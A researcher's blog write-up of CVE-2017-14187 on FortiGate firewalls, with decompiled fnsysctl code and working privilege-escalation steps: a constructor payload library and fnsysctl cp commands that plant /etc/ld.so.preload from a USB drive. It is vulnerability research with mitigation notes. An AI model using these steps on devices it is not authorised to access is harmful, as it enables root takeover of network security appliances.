Write-up for CVE-2017-14187 - Jailbreak FortiGate with a USB drive

Vyacheslav·2026년 5월 1일
post-thumbnail

Intro

CVE-2017-14187 is a vulnerability in the fnsysctl utility of FortiOS, which needs physical access and admin credential to exploit.

I have bought a FortiGate with armv7l processor for a reasonable price (30 USD), then one day I knew that the FortiGates have unsafe architecture across wide range of products and versions, so I decided to develop a PoC to debug and research some critical vulnerabilities.

Body

1. Vulnerable Logic

The vulnerability is triggered by an undocumented utility, fnsysctl.
Specifically, fnsysctl can execute commands such as cp, ls, cat without any restriction(Only 5.x versions), and it leads to local privilege escalation(restricted shell escape).

The comment in FortiGuard PSIRT is here, but discussed below, it looks like no one can achieve LPE with this way.

An admin user with super_admin privileges can execute an arbitrary binary contained on an USB drive plugged to a FortiGate, via linking the aforementioned binary to a command that is allowed to be run by the fnsysctl CLI command.

2. Trial-and-Error

First of all, I tried the method that the advisory described: linking executable commands in fnsysctl using fnsysctl ln. (e.g., ls, cat)
This failed. even though the symlink is successfully overwritten, fnsysctl did not execute the linked binaries.

After wasting time for nothing, I suspect that the advisory is inaccurate.
I abandoned the project for a while after this initial failure, but later I found a useful hint in a PoC by 0xhaggis, BishopFox. (Thanks!) (Ref. 1.)

As you may know from the PoC, the key is that FortiOS honors /etc/ld.so.preload, so that we can perform ld preload injection.

The fnsysctl command is important at this point, because it has all elements to conduct ld preload injection. (e.g., arbitrary write, external binary load)

Additionally the FortiOS only partially uses linux privilege model, therefore arbitrary code execution is leading root LPE. (There is no /etc/passwd, all processes are uid 0, and there is no username or group)

I developed the PoC with this method, but I was curious why I failed with first way, so I found the cause.

I decompiled the init binary and discovered that the fnsysctl command does not execute commands under /bin but executes /bin/sysctl with args.

Here is the fnsysctl of 6.2.x, also you can check the patched code.


void fnsysctl(int param_1,int param_2)

{
  FILE *__stream;
  int iVar1;
  char *pcVar2;
  int iVar3;
  int *piVar4;
  __sighandler_t __handler;
  undefined4 uVar5;
  char *pcVar6;
  undefined1 auStack_cc [36];
  undefined1 auStack_a8 [132];
  int local_24;
  
  local_24 = 0;
  iVar1 = FUN_0021825a();
  if (iVar1 != 0) {
    uVar5 = 0;
    fputs("fnsysctl cannot be executed when external USB disk is inserted.\n",stdout);
    goto LAB_00c32fe4;
  }
  uVar5 = 0;
  if (param_1 == 1) goto LAB_00c32fe4;
  if (param_1 < 2) {
LAB_00c330a4:
    DAT_0400e508 = fork();
    if ((DAT_0400e508 < 0) &&
       ((iVar1 = FUN_00c1befc(), iVar1 != 0 || (iVar1 = FUN_00c82f04(), 2 < *(uint *)(iVar1 + 4)))))
    {
      __stream = stdout;
      piVar4 = __errno_location();
      iVar1 = *piVar4;
      pcVar6 = strerror(iVar1);
      fprintf(__stream,"[%s:%d] fork() failed: (%d)%s\n","cmd_command_sysctl",0x1db2,iVar1,pcVar6);
    }
    if (DAT_0400e508 == 0) {
      execv("/bin/sysctl",(char **)(param_2 + 4));
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    __handler = signal(2,(__sighandler_t)&LAB_00c32fb0+1);
    wait((void *)0x0);
    signal(2,__handler);
  }
  else {
    pcVar6 = *(char **)(param_2 + 4);
    iVar1 = strcmp(pcVar6,"sh");
    if ((iVar1 != 0) && (iVar1 = strcmp(pcVar6,"sysctl"), iVar1 != 0)) {
      pcVar2 = strchr(pcVar6,0x2f);
      if (pcVar2 == (char *)0x0) {
        iVar1 = strcmp(pcVar6,"mv");
        if (iVar1 == 0) {
          FUN_00f4d068("Admin:",auStack_cc,0x24,0,0,0);
          FUN_00f4d068("Password: ",auStack_a8,0x81,0,1,0);
          if ((((nCfg == 0) || (iVar1 = FUN_00c1c084(9), iVar1 != 0)) ||
              (iVar1 = FUN_00c8cbc0(*(undefined4 *)(nCfg + 0x24),0,auStack_cc,2), iVar1 == 0)) ||
             ((iVar3 = FUN_0101d908(auStack_a8,iVar1 + 0x4c), iVar3 == 0 ||
              (iVar1 = FUN_00f78a94(iVar1), iVar1 == 0)))) {
            uVar5 = 0xffffffdb;
            fputs("Only super admin has the permission with the command!\n",stderr);
            goto LAB_00c32fe4;
          }
        }
        goto LAB_00c330a4;
      }
      fputs("invalid command\n",stderr);
    }
    uVar5 = 0xffffffc3;
  }
LAB_00c32fe4:
  if (local_24 == 0) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail(uVar5);
}

The /bin/sysctl is a real binary that is not linked to /bin/init, which is uncommon in FortiOS.
The binary implements some basic unix features such as cat, grep, ls, and probably there is nothing special, per se.

But the point is that, the FortiOS, like many other embedded linux devices, re-extracts the OS components include /bin/sysctl during every boot sequence, therefore overwritting or swapping the binary will not provide persistence.
So I did not test this method, but it should work.

3. Exploitation

There is an interesting feature in gcc and clang, which provides a shortcut to arbitrary code execution from shared library load.
So the payload will be very simple, as you can see:

//pseudo code
__attribute__((constructor))
static void init(void) {
	printf("hello world!\n");
}

And FortiOS has a quite low version of glibc.
Since it is unpleasant to make an environment to build with same or lower version of glibc, I decided to use Musl libc to make static binary.
And then, make ld.so.preload file in the USB drive with path of the payload:

/etc/test.so

(The path should not be inside of the USB, due to privilege problem.)

And copy your payload to prepared USB drive, then you can achieve arbitrary code execution as below.

$ fnsysctl cp /usb/test.so /etc/test.so
$ fnsysctl cp /usb/ld.so.preload /etc/ld.so.preload
$ fnsysctl ls
hello world!

So easy. Now what should I do?

Yes, I built some tools and shell to configure debugging environment, you can check out the PoC.

PoC

https://github.com/0xSIGILL/CVE-2017-14187_PoC_ARMv7

Ambiguity

Since Fortinet doesn't want to disclose too much about their products, many of the things are not clear.
For example, a write-up reports that some kind of VM images don't have fnsysctl(Ref. 2.).
And include this case, I found that the advisories are sometimes wrong.
I researched some RCEs based on Heap-based BoF, and contrary to the advisories, it turns out the vulnerable version in specific architecture is not vulnerable(so the vulnerability was word size specific), and older versions that indicated NOT vulnerable are sometimes actually VULNERABLE. (I don't understand why they missed.)

TL;DR - My post is not absolute. It works in my case, but it may fail some kind of cases.

Mitigation

Upgrade to not vulnerable versions.

By the way, Fortinet did a bit weird patch for this vulnerability.
They didn't remove fnsysctl, but just patched to fnsysctl cannot be executed while USB drive is mounted. (in 5.x versions)

Conclusion

  1. A FortiGate LPE, which triggered with fnsysctl. Very easy to exploit.
  2. The patch is weird.
  3. And fnsysctl is a kind of backdoor, which provides good primitive for many cases.

Credit & References

BishopFox for lots of write-up about FortiOS
0xhaggis for a PoC
Code16 for a write-up
1. https://github.com/0xhaggis/CVE-2021-44168
2. https://code610.blogspot.com/2020/02/escaping-from-fort-quick-cve-2017-14187.html
3. https://fortiguard.fortinet.com/psirt/FG-IR-17-245

0개의 댓글